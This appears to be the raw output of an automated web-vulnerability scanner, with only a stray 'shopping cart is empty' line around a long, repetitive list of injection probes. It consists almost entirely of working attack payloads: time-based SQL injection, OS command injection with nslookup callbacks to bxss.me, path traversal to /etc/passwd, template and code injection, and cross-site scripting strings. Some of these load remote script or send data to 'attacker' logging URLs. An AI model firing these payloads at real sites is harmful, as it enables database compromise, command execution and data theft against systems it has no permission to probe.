Your shopping cart is empty!
1
1'"
\
@@ihQd9
-1 OR 2+617-617-1=0+0+0+1 --
JyI=
-1 OR 3+617-617-1=0+0+0+1 --
-1 OR 3*2<(0+5+617-617) --
-1 OR 3*2>(0+5+617-617) --
-1 OR 2+876-876-1=0+0+0+1
-1 OR 3+876-876-1=0+0+0+1
-1 OR 3*2<(0+5+876-876)
-1 OR 3*2>(0+5+876-876)
-1' OR 2+75-75-1=0+0+0+1 --
-1' OR 3+75-75-1=0+0+0+1 --
-1' OR 3*2<(0+5+75-75) --
-1' OR 3*2>(0+5+75-75) --
-1' OR 2+827-827-1=0+0+0+1 or '98I2Orkn'='
-1' OR 3+827-827-1=0+0+0+1 or '98I2Orkn'='
-1' OR 3*2<(0+5+827-827) or '98I2Orkn'='
-1' OR 3*2>(0+5+827-827) or '98I2Orkn'='
-1" OR 2+670-670-1=0+0+0+1 --
-1" OR 3+670-670-1=0+0+0+1 --
-1" OR 3*2<(0+5+670-670) --
-1" OR 3*2>(0+5+670-670) --
if(now()=sysdate(),sleep(3.453),0)/*'XOR(if(now()=sysdate(),sleep(3.453),0))OR'"XOR(if(now()=sysdate(),sleep(3.453),0))OR"*/
(select(0)from(select(sleep(6.906)))v)/*'+(select(0)from(select(sleep(6.906)))v)+'"+(select(0)from(select(sleep(6.906)))v)+"*/
-1; waitfor delay '0:0:6.906' --
-1); waitfor delay '0:0:6.906' --
1 waitfor delay '0:0:6.906' --
yZxvUpqJ'; waitfor delay '0:0:10.359' --
-1;select pg_sleep(10.359); --
-1);select pg_sleep(3.453); --
-1));select pg_sleep(6.906); --
HMPw42Ln';select pg_sleep(6.906); --
8I3QHdUV');select pg_sleep(10.359); --
fjWWyoqR'));select pg_sleep(3.453); --
213'
1acu3Jer2rMWFE
@@cRMwe
-1 OR 2+732-732-1=0+0+0+1 --
-1 OR 3+732-732-1=0+0+0+1 --
-1 OR 2+775-775-1=0+0+0+1
-1 OR 3+775-775-1=0+0+0+1
-1' OR 2+246-246-1=0+0+0+1 --
-1' OR 3+246-246-1=0+0+0+1 --
-1' OR 2+482-482-1=0+0+0+1 or 'bA2yYEi4'='
-1' OR 3+482-482-1=0+0+0+1 or 'bA2yYEi4'='
-1" OR 2+998-998-1=0+0+0+1 --
-1" OR 3+998-998-1=0+0+0+1 --
18'
if(now()=sysdate(),sleep(12),0)
0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
-1; waitfor delay '0:0:12' --
-1); waitfor delay '0:0:12' --
1 waitfor delay '0:0:12' --
OFxONFpP'; waitfor delay '0:0:12' --
-5 OR 937=(SELECT 937 FROM PG_SLEEP(12))--
-5) OR 11=(SELECT 11 FROM PG_SLEEP(12))--
-1)) OR 262=(SELECT 262 FROM PG_SLEEP(12))--
9rUUs89M' OR 599=(SELECT 599 FROM PG_SLEEP(12))--
jCU69u3h') OR 774=(SELECT 774 FROM PG_SLEEP(12))--
tubC2OV2')) OR 112=(SELECT 112 FROM PG_SLEEP(12))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'
response.write(9126142*9536033)
/xfs.bxss.me
'+response.write(9126142*9536033)+'
988800
"+response.write(9126142*9536033)+"
http://xfs.bxss.me
//xfs.bxss.me
../../../../../../../../../../etc/passwd
/\xfs.bxss.me
../../../../../../../../../../windows/win.ini
../1
)
!(()&&!|*|*|
echo rnfynr$()\ looivf\nz^xyu||a #' &echo rnfynr$()\ looivf\nz^xyu||a #|" &echo rnfynr$()\ looivf\nz^xyu||a #
^(#$!@#$)(()))******
&echo mzhxih$()\ aonspo\nz^xyu||a #' &echo mzhxih$()\ aonspo\nz^xyu||a #|" &echo mzhxih$()\ aonspo\nz^xyu||a #
|echo kjzfvl$()\ sipskp\nz^xyu||a #' |echo kjzfvl$()\ sipskp\nz^xyu||a #|" |echo kjzfvl$()\ sipskp\nz^xyu||a #
'.gethostbyname(lc('hitsk'.'lyufbfct082ea.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(86).chr(104).chr(82).'
(nslookup hitebzlyrwjvocd380.bxss.me||perl -e "gethostbyname('hitebzlyrwjvocd380.bxss.me')")
".gethostbyname(lc("hittr"."apqhfcnc79781.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(65).chr(118).chr(69)."
$(nslookup hituihiduquwcb05b8.bxss.me||perl -e "gethostbyname('hituihiduquwcb05b8.bxss.me')")
&(nslookup hitdulmpdrnwwd02a8.bxss.me||perl -e "gethostbyname('hitdulmpdrnwwd02a8.bxss.me')")&'\"`0&(nslookup hitdulmpdrnwwd02a8.bxss.me||perl -e "gethostbyname('hitdulmpdrnwwd02a8.bxss.me')")&`'
HttP://bxss.me/t/xss.html?%00
|(nslookup hityscxrevfek40d1b.bxss.me||perl -e "gethostbyname('hityscxrevfek40d1b.bxss.me')")
bxss.me/t/xss.html?%00
`(nslookup hitbaecaoksit0d8f0.bxss.me||perl -e "gethostbyname('hitbaecaoksit0d8f0.bxss.me')")`
;(nslookup hitecdyugeatg274cf.bxss.me||perl -e "gethostbyname('hitecdyugeatg274cf.bxss.me')")|(nslookup hitecdyugeatg274cf.bxss.me||perl -e "gethostbyname('hitecdyugeatg274cf.bxss.me')")&(nslookup hitecdyugeatg274cf.bxss.me||perl -e "gethostbyname('hitecdyugeatg274cf.bxss.me')")
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
"+"A".concat(70-3).concat(22*4).concat(114).concat(75).concat(110).concat(82)+(require"socket" Socket.gethostbyname("hitzj"+"rtqzfxvb3d87a.bxss.me.")[3].to_s)+"
1some_inexistent_file_with_long_name .jpg
'+'A'.concat(70-3).concat(22*4).concat(111).concat(77).concat(114).concat(77)+(require'socket' Socket.gethostbyname('hiten'+'okneuddua9496.bxss.me.')[3].to_s)+'
Http://bxss.me/t/fit.txt
index.php
http://bxss.me/t/fit.txt?.jpg
bxss.me
index.php/.
'"
<!--
;print(md5(31337));
1<esi:include src="http://bxss.me/rpb.png"/>
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
${10000255+9999997}
'.print(md5(31337)).'
1'"()&%<acx><ScRiPt >j3cQ(9774)</ScRiPt>
'"()&%<acx><ScRiPt >j3cQ(9670)</ScRiPt>
19204905
acu2054＜s1﹥s2ʺs3ʹuca2054
<%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
1<ScRiPt >j3cQ(9970)</ScRiPt>
1<W3TQCO>S6E3Y[!+!]</W3TQCO>
1<script>j3cQ(9540)</script>
1<ScR<ScRiPt>IpT>j3cQ(9535)</sCr<ScRiPt>IpT>
1<ScRiPt >j3cQ(9626)</ScRiPt>
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9550></ScRiPt>
1< ScRiPt >j3cQ(9914)</ScRiPt>
1<isindex type=image src=1 onerror=j3cQ(9668)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9388'>
1<body onload=j3cQ(9404)>
1<img src=//xss.bxss.me/t/dot.gif onload=j3cQ(9422)>
1<img src=xyz OnErRor=j3cQ(9795)>
1<img/src=">" onerror=alert(9307)>
%31%3C%53%63%52%69%50%74%20%3E%6A%33%63%51%289461%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\j3cQ(9535)\u003C/sCripT\u003E
1<ScRiPt>j3cQ(9301)</sCripT>
1<input autofocus onfocus=j3cQ(9869)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
1}body{acu:Expre/**/SSion(j3cQ(9527))}
1<% contenteditable onresize=j3cQ(9430)>
1kOJoY <ScRiPt >j3cQ(9936)</ScRiPt>
1<WCW2LV>3OCMH[!+!]</WCW2LV>
1<ifRAme sRc=9619.com></IfRamE>
1<LOg0NZ x=9668>
1<img sRc='http://attacker-9754/log.php?
1<GTjTIF<
-1 OR 2+223-223-1=0+0+0+1 --
-1 OR 3+223-223-1=0+0+0+1 --
-1 OR 2+664-664-1=0+0+0+1
-1 OR 3+664-664-1=0+0+0+1
-1' OR 2+39-39-1=0+0+0+1 --
-1' OR 3+39-39-1=0+0+0+1 --
-1' OR 2+573-573-1=0+0+0+1 or 'izKYibA9'='
-1' OR 3+573-573-1=0+0+0+1 or 'izKYibA9'='
-1" OR 2+415-415-1=0+0+0+1 --
-1" OR 3+415-415-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
3osjSNti'; waitfor delay '0:0:15' --
-5 OR 589=(SELECT 589 FROM PG_SLEEP(15))--
-5) OR 207=(SELECT 207 FROM PG_SLEEP(15))--
-1)) OR 689=(SELECT 689 FROM PG_SLEEP(15))--
n7BYcgUq' OR 366=(SELECT 366 FROM PG_SLEEP(15))--
CLbdG1gP') OR 412=(SELECT 412 FROM PG_SLEEP(15))--
ocPzfpDs')) OR 667=(SELECT 667 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
@@bsiCE
@@x4pJ3
-1 OR 2+990-990-1=0+0+0+1 --
-1 OR 3+990-990-1=0+0+0+1 --
-1 OR 2+845-845-1=0+0+0+1
-1 OR 3+845-845-1=0+0+0+1
-1' OR 2+498-498-1=0+0+0+1 --
-1' OR 3+498-498-1=0+0+0+1 --
-1' OR 2+136-136-1=0+0+0+1 or 'XN3lfipe'='
-1' OR 3+136-136-1=0+0+0+1 or 'XN3lfipe'='
-1" OR 2+208-208-1=0+0+0+1 --
-1" OR 3+208-208-1=0+0+0+1 --
536'
aZeDzcDz'; waitfor delay '0:0:12' --
-5 OR 905=(SELECT 905 FROM PG_SLEEP(12))--
-5) OR 869=(SELECT 869 FROM PG_SLEEP(12))--
-1)) OR 885=(SELECT 885 FROM PG_SLEEP(12))--
4qhIFsiM' OR 376=(SELECT 376 FROM PG_SLEEP(12))--
odvMumwU') OR 237=(SELECT 237 FROM PG_SLEEP(12))--
VwJ1Yhq0')) OR 414=(SELECT 414 FROM PG_SLEEP(12))--
-1 OR 2+791-791-1=0+0+0+1 --
-1 OR 3+791-791-1=0+0+0+1 --
-1 OR 3*2<(0+5+791-791) --
-1 OR 3*2>(0+5+791-791) --
-1 OR 2+975-975-1=0+0+0+1
-1 OR 3+975-975-1=0+0+0+1
-1 OR 3*2<(0+5+975-975)
-1 OR 3*2>(0+5+975-975)
-1' OR 2+550-550-1=0+0+0+1 --
-1' OR 3+550-550-1=0+0+0+1 --
-1' OR 3*2<(0+5+550-550) --
-1' OR 3*2>(0+5+550-550) --
-1' OR 2+909-909-1=0+0+0+1 or '0NrQIydI'='
-1' OR 3+909-909-1=0+0+0+1 or '0NrQIydI'='
-1' OR 3*2<(0+5+909-909) or '0NrQIydI'='
-1' OR 3*2>(0+5+909-909) or '0NrQIydI'='
-1" OR 2+74-74-1=0+0+0+1 --
-1" OR 3+74-74-1=0+0+0+1 --
-1" OR 3*2<(0+5+74-74) --
-1" OR 3*2>(0+5+74-74) --
if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/
(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/
-1; waitfor delay '0:0:3' --
-1); waitfor delay '0:0:3' --
1 waitfor delay '0:0:3' --
Crdoy8Yy'; waitfor delay '0:0:6' --
-1;select pg_sleep(6); --
-1);select pg_sleep(6); --
-1));select pg_sleep(9); --
CWQEI7fz';select pg_sleep(9); --
bfJRfZct');select pg_sleep(9); --
eZtwDUxD'));select pg_sleep(9); --
@@R6Et0
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.55-495.55.5e8b3.1.bxss'||'.me')
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.55-496.55.5e8b3.1.bxss'||'.me')||'
1;copy (select '') to program 'nslookup dns.sqli.\013405.55-497.55.5e8b3.\1.bxss.me'
1';copy (select '') to program 'nslookup dns.sqli.\013405.55-500.55.5e8b3.\1.bxss.me
75'
1acuu1nzGogUho
@@70rCQ
-1 OR 2+137-137-1=0+0+0+1 --
-1 OR 3+137-137-1=0+0+0+1 --
-1 OR 3*2<(0+5+137-137) --
-1 OR 3*2>(0+5+137-137) --
-1 OR 2+457-457-1=0+0+0+1
-1 OR 3+457-457-1=0+0+0+1
-1 OR 3*2<(0+5+457-457)
-1 OR 3*2>(0+5+457-457)
-1' OR 2+95-95-1=0+0+0+1 --
-1' OR 3+95-95-1=0+0+0+1 --
-1' OR 3*2<(0+5+95-95) --
-1' OR 3*2>(0+5+95-95) --
-1' OR 2+968-968-1=0+0+0+1 or 'xeD1BA95'='
-1' OR 3+968-968-1=0+0+0+1 or 'xeD1BA95'='
-1' OR 3*2<(0+5+968-968) or 'xeD1BA95'='
-1' OR 3*2>(0+5+968-968) or 'xeD1BA95'='
-1" OR 2+827-827-1=0+0+0+1 --
-1" OR 3+827-827-1=0+0+0+1 --
-1" OR 3*2<(0+5+827-827) --
-1" OR 3*2>(0+5+827-827) --
if(now()=sysdate(),sleep(7.406),0)/*'XOR(if(now()=sysdate(),sleep(7.406),0))OR'"XOR(if(now()=sysdate(),sleep(7.406),0))OR"*/
(select(0)from(select(sleep(7.406)))v)/*'+(select(0)from(select(sleep(7.406)))v)+'"+(select(0)from(select(sleep(7.406)))v)+"*/
-1; waitfor delay '0:0:7.406' --
-1); waitfor delay '0:0:11.109' --
1 waitfor delay '0:0:11.109' --
v2cxZMn0'; waitfor delay '0:0:3.703' --
-1;select pg_sleep(3.703); --
-1);select pg_sleep(3.703); --
-1));select pg_sleep(7.406); --
sBoIqJrL';select pg_sleep(7.406); --
TQoEffQt');select pg_sleep(11.109); --
iHGxSj9d'));select pg_sleep(11.109); --
685'
1acuNNVFrLtq6W
e
935386
response.write(9413367*9075247)
'+response.write(9413367*9075247)+'
"+response.write(9413367*9075247)+"
'.gethostbyname(lc('hitpj'.'iyvsomls31ce1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(83).chr(98).chr(75).'
".gethostbyname(lc("hitvl"."mkxggaaifb450.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(81).chr(105).chr(74)."
echo rbbxjs$()\ efnnoh\nz^xyu||a #' &echo rbbxjs$()\ efnnoh\nz^xyu||a #|" &echo rbbxjs$()\ efnnoh\nz^xyu||a #
&echo kfreqs$()\ bfalrf\nz^xyu||a #' &echo kfreqs$()\ bfalrf\nz^xyu||a #|" &echo kfreqs$()\ bfalrf\nz^xyu||a #
|echo ytxkbw$()\ jnyslp\nz^xyu||a #' |echo ytxkbw$()\ jnyslp\nz^xyu||a #|" |echo ytxkbw$()\ jnyslp\nz^xyu||a #
(nslookup hityzwudpqsvr5d99a.bxss.me||perl -e "gethostbyname('hityzwudpqsvr5d99a.bxss.me')")
$(nslookup hitjarffgeitn88f4d.bxss.me||perl -e "gethostbyname('hitjarffgeitn88f4d.bxss.me')")
"+"A".concat(70-3).concat(22*4).concat(103).concat(82).concat(111).concat(78)+(require"socket" Socket.gethostbyname("hitow"+"ccffwmql867af.bxss.me.")[3].to_s)+"
&(nslookup hitkhkmxdcjev438fe.bxss.me||perl -e "gethostbyname('hitkhkmxdcjev438fe.bxss.me')")&'\"`0&(nslookup hitkhkmxdcjev438fe.bxss.me||perl -e "gethostbyname('hitkhkmxdcjev438fe.bxss.me')")&`'
'+'A'.concat(70-3).concat(22*4).concat(99).concat(71).concat(105).concat(88)+(require'socket' Socket.gethostbyname('hitsp'+'iamapzob8d1c3.bxss.me.')[3].to_s)+'
|(nslookup hitqfpieckxjl54182.bxss.me||perl -e "gethostbyname('hitqfpieckxjl54182.bxss.me')")
`(nslookup hitwibikhzfga2e00f.bxss.me||perl -e "gethostbyname('hitwibikhzfga2e00f.bxss.me')")`
;(nslookup hitxrohpjrtqdd1b16.bxss.me||perl -e "gethostbyname('hitxrohpjrtqdd1b16.bxss.me')")|(nslookup hitxrohpjrtqdd1b16.bxss.me||perl -e "gethostbyname('hitxrohpjrtqdd1b16.bxss.me')")&(nslookup hitxrohpjrtqdd1b16.bxss.me||perl -e "gethostbyname('hitxrohpjrtqdd1b16.bxss.me')")
${10000266+10000141}
1hQ4I0RCO
1'"()&%<acx><ScRiPt >qLYT(9899)</ScRiPt>
'"()&%<acx><ScRiPt >qLYT(9605)</ScRiPt>
19842688
acu8898＜s1﹥s2ʺs3ʹuca8898
1<ScRiPt >qLYT(9553)</ScRiPt>
1<WCKQPI>M7FYN[!+!]</WCKQPI>
1<script>qLYT(9946)</script>
1<ScR<ScRiPt>IpT>qLYT(9113)</sCr<ScRiPt>IpT>
1<ScRiPt >qLYT(9820)</ScRiPt>
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9743></ScRiPt>
1< ScRiPt >qLYT(9844)</ScRiPt>
1<isindex type=image src=1 onerror=qLYT(9726)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9642'>
1<body onload=qLYT(9836)>
1<img src=//xss.bxss.me/t/dot.gif onload=qLYT(9075)>
1<img src=xyz OnErRor=qLYT(9730)>
1<img/src=">" onerror=alert(9394)>
%31%3C%53%63%52%69%50%74%20%3E%71%4C%59%54%289590%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\qLYT(9810)\u003C/sCripT\u003E
1<ScRiPt>qLYT(9679)</sCripT>
1<input autofocus onfocus=qLYT(9603)>
1}body{acu:Expre/**/SSion(qLYT(9680))}
1<% contenteditable onresize=qLYT(9734)>
13S832 <ScRiPt >qLYT(9344)</ScRiPt>
1<WY9GJH>I2BBI[!+!]</WY9GJH>
1<ifRAme sRc=9591.com></IfRamE>
1<DoCDix x=9635>
1<img sRc='http://attacker-9102/log.php?
1<xGb0s8<
1'"()&%<acx><ScRiPt >UXGE(9349)</ScRiPt>
'"()&%<acx><ScRiPt >UXGE(9136)</ScRiPt>
19384387
acu5339＜s1﹥s2ʺs3ʹuca5339
1<ScRiPt >UXGE(9618)</ScRiPt>
1<WEAZHY>WVYRX[!+!]</WEAZHY>
1<script>UXGE(9597)</script>
1<ScR<ScRiPt>IpT>UXGE(9463)</sCr<ScRiPt>IpT>
1<ScRiPt >UXGE(9760)</ScRiPt>
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9247></ScRiPt>
1< ScRiPt >UXGE(9773)</ScRiPt>
1<isindex type=image src=1 onerror=UXGE(9380)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9559'>
-1 OR 2+902-902-1=0+0+0+1 --
-1 OR 3+902-902-1=0+0+0+1 --
1<body onload=UXGE(9728)>
-1 OR 2+160-160-1=0+0+0+1
-1 OR 3+160-160-1=0+0+0+1
1<img src=//xss.bxss.me/t/dot.gif onload=UXGE(9240)>
-1' OR 2+728-728-1=0+0+0+1 --
-1' OR 3+728-728-1=0+0+0+1 --
1<img src=xyz OnErRor=UXGE(9489)>
-1' OR 2+548-548-1=0+0+0+1 or 'GIdKEPMd'='
-1' OR 3+548-548-1=0+0+0+1 or 'GIdKEPMd'='
-1" OR 2+64-64-1=0+0+0+1 --
1<img/src=">" onerror=alert(9613)>
-1" OR 3+64-64-1=0+0+0+1 --
%31%3C%53%63%52%69%50%74%20%3E%55%58%47%45%289970%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\UXGE(9340)\u003C/sCripT\u003E
1<ScRiPt>UXGE(9584)</sCripT>
1<input autofocus onfocus=UXGE(9728)>
1}body{acu:Expre/**/SSion(UXGE(9494))}
1<% contenteditable onresize=UXGE(9473)>
1ExB9b <ScRiPt >UXGE(9637)</ScRiPt>
1<W5L8VQ>QXUNM[!+!]</W5L8VQ>
1<ifRAme sRc=9413.com></IfRamE>
1<us7Z98 x=9303>
1<img sRc='http://attacker-9781/log.php?
1<FjRehH<
bqeGlZ1Q'; waitfor delay '0:0:15' --
-5 OR 860=(SELECT 860 FROM PG_SLEEP(15))--
-5) OR 760=(SELECT 760 FROM PG_SLEEP(15))--
-1)) OR 453=(SELECT 453 FROM PG_SLEEP(15))--
yGc5fuRa' OR 73=(SELECT 73 FROM PG_SLEEP(15))--
NC1MOETc') OR 171=(SELECT 171 FROM PG_SLEEP(15))--
EpRbFZJ0')) OR 929=(SELECT 929 FROM PG_SLEEP(15))--
@@jrTlr
1'"()&%<acx><ScRiPt >3trX(9449)</ScRiPt>
'"()&%<acx><ScRiPt >3trX(9488)</ScRiPt>
19202519
acu5834＜s1﹥s2ʺs3ʹuca5834
1<ScRiPt >3trX(9208)</ScRiPt>
1<W7WXGM>ULQHZ[!+!]</W7WXGM>
1<script>3trX(9250)</script>
1<ScR<ScRiPt>IpT>3trX(9058)</sCr<ScRiPt>IpT>
1<ScRiPt >3trX(9387)</ScRiPt>
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9866></ScRiPt>
1< ScRiPt >3trX(9366)</ScRiPt>
1<isindex type=image src=1 onerror=3trX(9998)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9373'>
1<body onload=3trX(9798)>
1<img src=//xss.bxss.me/t/dot.gif onload=3trX(9808)>
1<img src=xyz OnErRor=3trX(9834)>
1<img/src=">" onerror=alert(9768)>
%31%3C%53%63%52%69%50%74%20%3E%33%74%72%58%289553%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\3trX(9213)\u003C/sCripT\u003E
1<ScRiPt>3trX(9093)</sCripT>
1<input autofocus onfocus=3trX(9583)>
1}body{acu:Expre/**/SSion(3trX(9574))}
1<% contenteditable onresize=3trX(9403)>
1E59Xm <ScRiPt >3trX(9255)</ScRiPt>
1<WIASAY>TQC6E[!+!]</WIASAY>
1<ifRAme sRc=9064.com></IfRamE>
1<rdZRPp x=9188>
1<img sRc='http://attacker-9561/log.php?
1<ptOrtB<
1'"()&%<acx><ScRiPt >maOY(9327)</ScRiPt>
'"()&%<acx><ScRiPt >maOY(9776)</ScRiPt>
19680432
acu6392＜s1﹥s2ʺs3ʹuca6392
1<ScRiPt >maOY(9420)</ScRiPt>
1<WHNGGV>EKNI5[!+!]</WHNGGV>
1<script>maOY(9039)</script>
1<ScR<ScRiPt>IpT>maOY(9174)</sCr<ScRiPt>IpT>
1<ScRiPt >maOY(9462)</ScRiPt>
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9174></ScRiPt>
1< ScRiPt >maOY(9357)</ScRiPt>
1<isindex type=image src=1 onerror=maOY(9521)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9268'>
1<body onload=maOY(9289)>
1<img src=//xss.bxss.me/t/dot.gif onload=maOY(9956)>
1<img src=xyz OnErRor=maOY(9967)>
1<img/src=">" onerror=alert(9710)>
%31%3C%53%63%52%69%50%74%20%3E%6D%61%4F%59%289339%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\maOY(9536)\u003C/sCripT\u003E
1<ScRiPt>maOY(9113)</sCripT>
1<input autofocus onfocus=maOY(9075)>
1}body{acu:Expre/**/SSion(maOY(9068))}
1<% contenteditable onresize=maOY(9411)>
1vJMBZ <ScRiPt >maOY(9982)</ScRiPt>
1<WAEHVJ>YGVYC[!+!]</WAEHVJ>
1<ifRAme sRc=9307.com></IfRamE>
1<JEfqW0 x=9085>
1<img sRc='http://attacker-9673/log.php?
1<2kj4Db<
response.write(9381876*9690273)
939783
'+response.write(9381876*9690273)+'
"+response.write(9381876*9690273)+"
'.gethostbyname(lc('hitxt'.'vuvjqkez49cb8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(90).chr(109).chr(90).'
".gethostbyname(lc("hitbj"."mcwaevey49b6b.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(65).chr(109).chr(68)."
../e
echo oalxnz$()\ kfqdki\nz^xyu||a #' &echo oalxnz$()\ kfqdki\nz^xyu||a #|" &echo oalxnz$()\ kfqdki\nz^xyu||a #
&echo dairmp$()\ fpzyej\nz^xyu||a #' &echo dairmp$()\ fpzyej\nz^xyu||a #|" &echo dairmp$()\ fpzyej\nz^xyu||a #
|echo gogeaz$()\ asaiyb\nz^xyu||a #' |echo gogeaz$()\ asaiyb\nz^xyu||a #|" |echo gogeaz$()\ asaiyb\nz^xyu||a #
(nslookup hitlwafhcsfgbf49f3.bxss.me||perl -e "gethostbyname('hitlwafhcsfgbf49f3.bxss.me')")
$(nslookup hitucabrhmpla20bb8.bxss.me||perl -e "gethostbyname('hitucabrhmpla20bb8.bxss.me')")
&(nslookup hitiafpezvjxx4bbe9.bxss.me||perl -e "gethostbyname('hitiafpezvjxx4bbe9.bxss.me')")&'\"`0&(nslookup hitiafpezvjxx4bbe9.bxss.me||perl -e "gethostbyname('hitiafpezvjxx4bbe9.bxss.me')")&`'
|(nslookup hitqlmbdzwkzd1d670.bxss.me||perl -e "gethostbyname('hitqlmbdzwkzd1d670.bxss.me')")
"+"A".concat(70-3).concat(22*4).concat(104).concat(78).concat(104).concat(83)+(require"socket" Socket.gethostbyname("hitty"+"vjscxjud6b020.bxss.me.")[3].to_s)+"
`(nslookup hitjpftncnbpu95584.bxss.me||perl -e "gethostbyname('hitjpftncnbpu95584.bxss.me')")`
'+'A'.concat(70-3).concat(22*4).concat(119).concat(88).concat(102).concat(74)+(require'socket' Socket.gethostbyname('hitiz'+'jeffpunk1be9f.bxss.me.')[3].to_s)+'
;(nslookup hitpqjrvlnxnr3a65e.bxss.me||perl -e "gethostbyname('hitpqjrvlnxnr3a65e.bxss.me')")|(nslookup hitpqjrvlnxnr3a65e.bxss.me||perl -e "gethostbyname('hitpqjrvlnxnr3a65e.bxss.me')")&(nslookup hitpqjrvlnxnr3a65e.bxss.me||perl -e "gethostbyname('hitpqjrvlnxnr3a65e.bxss.me')")
e<esi:include src="http://bxss.me/rpb.png"/>
1ndfYyPGO
${9999415+9999679}
e'"()&%<acx><ScRiPt >vcpa(9210)</ScRiPt>
'"()&%<acx><ScRiPt >vcpa(9957)</ScRiPt>
e9724165
acu3983＜s1﹥s2ʺs3ʹuca3983
e<ScRiPt >vcpa(9958)</ScRiPt>
e<WXBJXI>5UCRU[!+!]</WXBJXI>
e<script>vcpa(9201)</script>
e<ScR<ScRiPt>IpT>vcpa(9286)</sCr<ScRiPt>IpT>
e<ScRiPt >vcpa(9183)</ScRiPt>
e<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9188></ScRiPt>
e< ScRiPt >vcpa(9861)</ScRiPt>
e<isindex type=image src=1 onerror=vcpa(9550)>
e<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9849'>
e<body onload=vcpa(9865)>
e<img src=//xss.bxss.me/t/dot.gif onload=vcpa(9548)>
e<img src=xyz OnErRor=vcpa(9369)>
e<img/src=">" onerror=alert(9631)>
%65%3C%53%63%52%69%50%74%20%3E%76%63%70%61%289593%29%3C%2F%73%43%72%69%70%54%3E
e\u003CScRiPt\vcpa(9244)\u003C/sCripT\u003E
e<ScRiPt>vcpa(9721)</sCripT>
e<input autofocus onfocus=vcpa(9176)>
e}body{acu:Expre/**/SSion(vcpa(9968))}
e<% contenteditable onresize=vcpa(9526)>
ebOl8K <ScRiPt >vcpa(9310)</ScRiPt>
e<WXNPPA>VNZMK[!+!]</WXNPPA>
e<ifRAme sRc=9754.com></IfRamE>
e<hqafda x=9462>
e<img sRc='http://attacker-9113/log.php?
e<SHWQKF<
992993
response.write(9353166*9479201)
'+response.write(9353166*9479201)+'
"+response.write(9353166*9479201)+"
echo jmtavh$()\ mtcejz\nz^xyu||a #' &echo jmtavh$()\ mtcejz\nz^xyu||a #|" &echo jmtavh$()\ mtcejz\nz^xyu||a #
&echo chafde$()\ eyhkky\nz^xyu||a #' &echo chafde$()\ eyhkky\nz^xyu||a #|" &echo chafde$()\ eyhkky\nz^xyu||a #
|echo dlfbgf$()\ ofergn\nz^xyu||a #' |echo dlfbgf$()\ ofergn\nz^xyu||a #|" |echo dlfbgf$()\ ofergn\nz^xyu||a #
(nslookup hitrmwnejxejd8f187.bxss.me||perl -e "gethostbyname('hitrmwnejxejd8f187.bxss.me')")
$(nslookup hittswqmrxatv6aa41.bxss.me||perl -e "gethostbyname('hittswqmrxatv6aa41.bxss.me')")
